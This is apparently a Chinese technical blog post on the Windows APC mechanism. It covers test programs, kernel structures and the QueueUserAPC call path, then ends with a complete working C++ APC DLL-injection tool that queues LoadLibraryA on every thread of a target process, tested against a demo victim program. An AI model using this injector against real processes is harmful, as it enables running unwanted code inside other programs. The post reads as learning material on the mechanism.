APC机制与注入
APC机制:
APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制
当使用 CreateThread
创建一个线程时,需要指定一个线程回调函数(入口函数),这是这个线程的主执行体。但是,APC是一个额外的机制,可以在不干扰该线程主任务的情况下,让该线程处理其他的异步操作。
通过APC,你可以在已经运行的线程中插入额外的操作,而不需要创建新的线程。线程会在某些合适的时刻处理APC请求,比如进入等待状态时。
用户模式下的 APC 需要线程主动进入等待状态或调用一些特定的函数才能触发其执行。这意味着线程必须进入某些特殊的状态才能执行 APC,比如调用以下这些函数时:
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
这些函数的特点是它们都有一个参数允许线程可被中断以执行 APC,即通过传递 TRUE
给它们的 “alertable” 参数。
如果线程一直在循环
在这种情况下,如果线程只是忙于执行一个循环任务,并且不调用任何支持 APC 的函数,APC 不会自动执行。这意味着,线程必须显式地调用某些 API 并进入可被中断的状态,否则 APC 无法被处理。
实际测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <windows.h> #include <stdio.h>
VOID CALLBACK APCProc(ULONG_PTR dwParam) { printf("APC function executed with parameter: %d\n", (int)dwParam); }
DWORD WINAPI ThreadProc(LPVOID lpParam) { printf("Thread started\n");
for (int i = 0; i < 10; i++) { printf("Thread working: %d\n", i); Sleep(1000); }
printf("Thread finished\n"); return 0; }
int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); QueueUserAPC(APCProc, hThread, 123);
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
return 0; }
|
执行的结果长这样:
和我们刚刚说的理论貌似不一样,APC竟然先于线程主体执行了,可是不是说要等线程主体时间空出来了才能执行吗??
查阅资料,找到一个稍微靠谱的答案,说:
在 CreateThread
创建新线程时,线程的初始状态和调度时机可能会影响 APC 的执行顺序。在某些情况下,系统会在新线程尚未开始执行其主函数(ThreadProc
)之前,触发挂起的 APC。如果线程刚开始时还没有进入忙碌的状态,系统可能趁这个空档先处理了 APC。也就是说,系统可能会在线程真正进入循环之前处理 APC。
为了印证上面的说法,我们把main函数改一下,加了一个Sleep,让线程先跑以来,这样就可以保证线程主体是繁忙的了
1 2 3 4 5 6 7 8 9 10 11 12 13
| int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); Sleep(1); QueueUserAPC(APCProc, hThread, 123);
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
return 0; }
|
然后看看结果:
发现APC回调函数并没有被执行,所以证明线程从开始到结束都没有空闲时间给APC,所以APC不会被调用
那么如何解决呢?很简单,把Thread回调里面的Sleep改成SleepEx,这个函数允许在Sleep期间去执行APC
分析APC内核结构:
打开Windbg,在KTHREAD找到_KAPC _STATE
_KAPC _STATE长这样
1 2 3 4 5 6 7 8 9
| +0x000 ApcListHead[2]
+0x010 Process
+0x014 KernelApcInProgress
+0x015 KernelApcPending
+0x016 UserApcPending
|
在KTHREAD里面,还有_KAPC
NormalRoutine 会找到你提供的APC函数,并不完全等于APC函数的地址
通过刚刚那个队列结构,可以循环遍历到每一个KAPC结构,就能找到所有APC函数地址
用户APC是如何插入队列的
首先分析一下QueueUserAPC
是咋干活的
调用了QueueUserAPC2
在QueueUserAPC2
里面又调用了内核API NtQueueApcThreadEx2
去内核ntoskrnl.exe翻出这个API:NtQueueApcThreadEx2
调用了KeInitializeApc
初始化APC结构,然后又调用了KeInsertQueueApc
插入APC队列
这么来看,零环和三环都是通过KeInitializeApc
和KeInsertQueueApc
插入APC队列的
那么如何区分内核模式和用户模式呢?也就是看 KeInitializeApc
的参数的
1 2 3 4 5 6 7 8 9 10
| VOID KeInitializeApc( PKAPC Apc, PKTHREAD Thread, KAPC_ENVIRONMENT ApcEnvironment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext );
|
如果 ApcMode
为 KernelMode
,则这是一个 内核 APC,它只会调用 KernelRoutine
,不会调用 NormalRoutine
。
如果 ApcMode
为 UserMode
,则这是一个 用户 APC,当线程返回到用户模式时,会调用 NormalRoutine
。
实践发现资料不对
资料是这么说的:
在处理用户APC中,当产生休眠系统调用、中断或者异常,线程在返回用户空间前都会调用 KiServiceExit 函数,在 KiServiceExit 会判断是否有要执行的用户APC,如果有则调用 KiDeliverApc 函数(第一个参数为1)进行处理。
但是实践下来,普通的系统调用,异常处理中断并不会调用APC
实现下来我发现,能调用APC的的条件只有当线程显式进入可警报等待状态时,挂起的 APC 才有机会被执行。 就是那些能显式进入可报警状态的API
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
资料还说APC可以利用线程切换的间隙去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #include <windows.h> #include <stdio.h>
HANDLE hMutex;
VOID CALLBACK APCProc(ULONG_PTR dwParam) { printf("APC function executed with parameter: %d\n", (int)dwParam); }
DWORD WINAPI ThreadProc1(LPVOID lpParam) { for (int i = 0; i < 5; i++) { WaitForSingleObject(hMutex, INFINITE); printf("Thread 1 executing: %d\n", i); Sleep(500);
ReleaseMutex(hMutex);
} return 0; }
DWORD WINAPI ThreadProc2(LPVOID lpParam) { for (int i = 0; i < 5; i++) { WaitForSingleObject(hMutex, INFINITE); printf("Thread 2 executing: %d\n", i); Sleep(500);
ReleaseMutex(hMutex);
} return 0; }
int main() { hMutex = CreateMutex(NULL, FALSE, NULL);
HANDLE hThread1 = CreateThread(NULL, 0, ThreadProc1, NULL, 0, NULL); HANDLE hThread2 = CreateThread(NULL, 0, ThreadProc2, NULL, 0, NULL); Sleep(10); QueueUserAPC(APCProc, hThread1, 101); QueueUserAPC(APCProc, hThread2, 202);
WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE);
CloseHandle(hThread1); CloseHandle(hThread2); CloseHandle(hMutex);
return 0; }
|
但是实践下来,切换过程中貌似并没有APC执行
APC注入
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
|
#include <Windows.h> #include <iostream> #include <TlHelp32.h> #include <tchar.h>
BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; }
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) { EnableDebugPrivilege(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (hProcess == NULL) { return FALSE; } int nSize = strlen(pszDllName); LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T dwWrittenSize = 0; WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize); HMODULE hMod = GetModuleHandleA("kernel32.dll"); FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA"); THREADENTRY32 te = { 0 }; te.dwSize = sizeof(te); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL); if (hSnap == INVALID_HANDLE_VALUE) { return FALSE; } DWORD dwRet = 0; HANDLE hThread = NULL; if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == dwPid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (hThread) { dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)pDllAddr); hThread = NULL; } } } while (Thread32Next(hSnap, &te)); } CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnap); return TRUE; }
int main(int argc, char* argv[]) { if (argc == 3) { if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2])) printf("APCInject failed\n"); else printf("APCInject successfully\n"); } else { printf("\nUsage: %s <PID> <Dllpath>\n"); printf("Example: %s 520 C:\\test.dll\n"); } return 0; }
|
局限性:
当注入 APC 时,目标线程确实必须处于 可警报等待 状态(Alertable Wait)才能执行 APC。一般来说,常见的触发 APC 执行的系统调用包括:
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
- 以及其他一些支持可警报等待的函数
如果目标线程没有调用这些支持可警报等待的系统调用,APC 可能会一直悬而未决,不会被执行。这是因为 APC 的执行依赖于线程进入可警报状态,而常规的 Sleep
或 WaitForSingleObject
并不会触发 APC 执行。
实践了一下发现:
如果受害者程序是这样写的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include <windows.h> #include <iostream>
DWORD WINAPI ThreadProc(LPVOID lpParam) { while (1) { std::cout << "Thread is running: " << std::endl; SleepEx(1000,TRUE); } return 0; }
int main() { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); if (hThread == NULL) { std::cerr << "Failed to create thread: " << GetLastError() << std::endl; return 1; }
WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
std::cout << "Thread has finished." << std::endl; return 0; }
|
注入成功!
But,如果我们改一下,把SleepEx
改为Sleep
,看看效果如何
可以发现注入了,但是没有跑起来,这就是APC注入的一个局限性了